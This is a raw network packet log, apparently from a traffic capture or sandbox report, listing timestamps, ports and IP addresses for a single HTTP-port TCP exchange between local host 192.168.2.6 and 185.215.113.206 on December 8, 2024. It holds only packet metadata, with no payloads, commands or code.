Dec 8, 2024 15:38:12.430635929 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.430685043 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.430751085 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.430802107 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.436955929 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.437016964 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.437221050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.437268019 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.443169117 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.443224907 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.443286896 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.443331957 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.449476957 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.449549913 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.449590921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.449635983 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.455549955 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.455616951 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.456445932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.456492901 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.461329937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.461390018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.461474895 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.461525917 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.475183010 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.475292921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.475558996 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.475646973 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.477257967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.477328062 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.477350950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.477400064 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.481430054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.481492996 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.482983112 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.483042955 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.483098984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.483144045 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.487139940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.487205982 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.488585949 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.488639116 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.490901947 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.490959883 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.491385937 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.491441965 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.494692087 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.494754076 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.494903088 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.495095015 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.498338938 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.498429060 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.498953104 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.499021053 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.501961946 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.502022982 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.502567053 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.502613068 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.505585909 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.505642891 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.505897999 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.505956888 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.509211063 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.509268045 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.509471893 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.509521961 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.512665987 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.512722015 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.512866974 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.512921095 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.544703007 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.544780016 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.544822931 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.544868946 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.546494961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.546528101 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.546655893 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.550045967 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.550120115 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.550396919 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.550453901 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.552691936 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.552742958 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.552825928 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.552872896 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.556165934 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.556226969 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.556391001 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.556440115 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.559741020 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.559791088 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.559798002 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.559835911 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.606071949 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.606167078 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.606205940 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.606270075 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.607213974 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.607265949 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.607642889 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.607693911 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.607925892 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.607974052 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.609030962 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.609080076 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.609481096 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.609529972 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.611675024 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.611730099 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.611731052 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.611763954 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.614236116 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.614294052 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.614295006 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.614330053 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.616851091 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.616909027 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.617480993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.617527962 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.619445086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.619502068 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.621232986 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.621289968 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.622066021 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.622114897 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.622242928 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.622287989 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.624596119 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.624646902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.624825001 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.624866009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.627259970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.627316952 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.627347946 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.627391100 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.629519939 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.629570961 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.629873037 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.629916906 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.631958961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.632009983 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.632097006 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.632143021 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.634392977 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.634443998 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.634531021 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.634577990 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.636646032 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.636698008 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.636949062 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.636993885 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.638969898 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.639018059 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.639260054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.639308929 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.641319036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.641375065 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.642154932 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.642203093 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.643481970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.643522978 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.643539906 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.643583059 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.645777941 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.645828009 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.646054029 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.646100044 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.667292118 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.667356968 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.667515993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.667563915 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.668190002 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.668237925 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.668247938 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.668291092 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.670391083 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.670443058 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.671195984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.671236992 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.671952009 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.672035933 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.673384905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.673430920 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.674355984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.674401999 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.675565958 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.675612926 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.675621033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.675672054 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.677812099 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.677860022 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.679162025 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.679208994 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.679903984 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.679951906 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.681843042 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.681854963 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.681866884 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.681914091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.681963921 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.683778048 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.683832884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.685803890 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.685816050 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.685828924 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.685848951 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.685866117 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.687756062 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.687812090 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.689796925 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.689810038 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.689821959 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.689850092 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.689877033 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.691742897 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.691793919 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.692826033 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.692876101 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.693773985 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.693820000 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.694087029 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.694133043 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.695729971 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.695779085 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.696377993 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.696428061 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.697732925 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.697781086 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.698124886 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.698182106 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.699800968 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.699850082 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.699927092 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.699974060 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.701826096 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.701838970 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.701905012 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.703764915 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.703813076 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.705775976 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.705825090 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.705828905 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.705841064 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.705878019 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.707739115 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.707787037 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.709089994 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.709135056 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.709750891 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.709800005 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.710890055 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.710937977 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.711699963 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.711750031 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.736712933 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.736773014 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.736782074 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.736824036 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.737807989 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.737859011 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.739078045 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.739129066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.739698887 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.739744902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.740499973 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.740525961 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.740552902 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.740567923 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.742341042 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.742389917 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.742695093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.742741108 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.744344950 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.744395971 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.746059895 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.746112108 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.746388912 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.746402979 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.746438980 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.748358011 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.748403072 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.748831034 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.748878956 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.750349998 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.750400066 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.750888109 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.750933886 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.752340078 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.752388954 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.752836943 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.752885103 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.754352093 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.754401922 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.754895926 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.754940987 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.797718048 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.797770977 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.797813892 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.797863007 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.798284054 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.798330069 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.798403025 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.798445940 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.799803019 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.799851894 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.800985098 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.801037073 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.801433086 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.801482916 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.801548004 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.801593065 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.803103924 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.803157091 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.803293943 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.803350925 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.804655075 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.804702044 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.804769039 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.804809093 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.806222916 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.806269884 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.806356907 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.806447029 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.807816982 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.807854891 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.807894945 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.807934046 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.809489965 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.809544086 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.809627056 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.809669018 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.810931921 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.810977936 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.811002016 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.811042070 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.812386036 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.812446117 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.812483072 CET	80	49708	185.215.113.206	192.168.2.6
Dec 8, 2024 15:38:12.812529087 CET	49708	80	192.168.2.6	185.215.113.206
Dec 8, 2024 15:38:12.813977957 CET	80	49708	185.215.113.206	192.168.2.6
